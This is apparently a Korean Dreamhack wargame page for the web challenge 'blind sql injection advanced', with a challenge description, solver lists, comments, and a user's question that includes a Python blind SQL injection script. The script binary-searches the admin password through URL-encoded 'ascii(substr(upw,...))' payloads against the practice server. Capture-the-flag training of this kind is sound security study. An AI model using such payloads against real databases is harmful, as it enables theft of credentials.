LEVEL 2

blind sql injection advanced

web
  • 문제 정보
  • 풀이 63
  • 난이도 투표 122
  • 질문 10
  • 최근 풀이자 1745
  • 댓글 36

문제 설명

Description

Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.
관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

문제 수정 내역

2023.07.20 Dockerfile 제공

난이도 투표 122

질문 10

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
이진탐색이 안되는 이유좀 설명해주세요
import os import requests URL = "http://host3.dreamhack.games:17636/?uid=" def binary_search(arr,n): low, high = 0, len(arr) - 1 while low <= high: mid = (low + high) // 2 mid_value = arr[mid] BIG = Big(Payload(n,mid_value),mid_value) if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value): return (chr(arr[low])) elif not BIG: low = mid + 1 # 중간값이 타겟보다 작으면 오른쪽 반을 탐색 else: high = mid - 1 # 중간값이 타겟보다 크면 왼쪽 반을 탐색 return "" # low 반환 def Payload(n,i): return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i) def Big(PAYLOAD,i): global URL,answer print("Payload : ",answer+chr(i)) res=requests.get(URL+PAYLOAD,"") if "exist" in (res.text): return True else: return False answer='' for n in range(1,30): if Big(Payload(n,126),126): ans = binary_search(range(32,127),n) elif Big(Payload(n,50813),50813): ans = binary_search(range(44032,50813),n) answer+=ans print("FLAG : "+answer) 조잡하게 보이실 수 있는데.. 이진탐색으로 blind-sql injection하는 코드입니다. DH{ 까지는 잘 나오는데, 한글부터 안나옵니다. 그래서 혹시 한글이 아닌가 해서 코드로 해당 문자의 범위를 찾아봤는데, 한글보다 작고 아스키코드보다 큰 범위로 나왔습니다. 뭐가 잘못된걸까요..?
돈이되고싶은굳
LEVEL 2

blind sql injection advanced

web

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
as3617
워게임 고인물
출제된 지 32분 만에 풀이 완료!

최근 풀이자 1745

nernoob
대표 업적 없음
avatar
zldnlahs
대표 업적 없음
장유빈
대표 업적 없음
upside_wellbird
대표 업적 없음
대표 업적 없음
avatar
nabakul
대표 업적 없음
Draggon
대표 업적 없음
재욱
대표 업적 없음
Jaeuk3081.kim
대표 업적 없음
김준현
대표 업적 없음

댓글 36

avatar
Gregor Kim
Closed Beta Tester
솯뀅컯둲뵅룟
avatar
huli07
웹해킹 고인물
interesting, practical problem
utf-8 다루기가 좀 까다로움
KME37
시니어
재밌게 풀었습니다.
avatar
OM
웹해킹 전문가
나만 어려운건가
레브
대표 업적 없음
공부가 될 만한 문제
avatar
ru__ff_y
대표 업적 없음
파이썬의 requests 모듈을 유용하게 써볼 기회였습니다.
O_F
대표 업적 없음
좋습니다.
avatar
BMC
워게임: 50
풀면 뿌듯한 문제네요 ㅎㅎ..
avatar
!보라매
대표 업적 없음
이것이드림핵?!?!?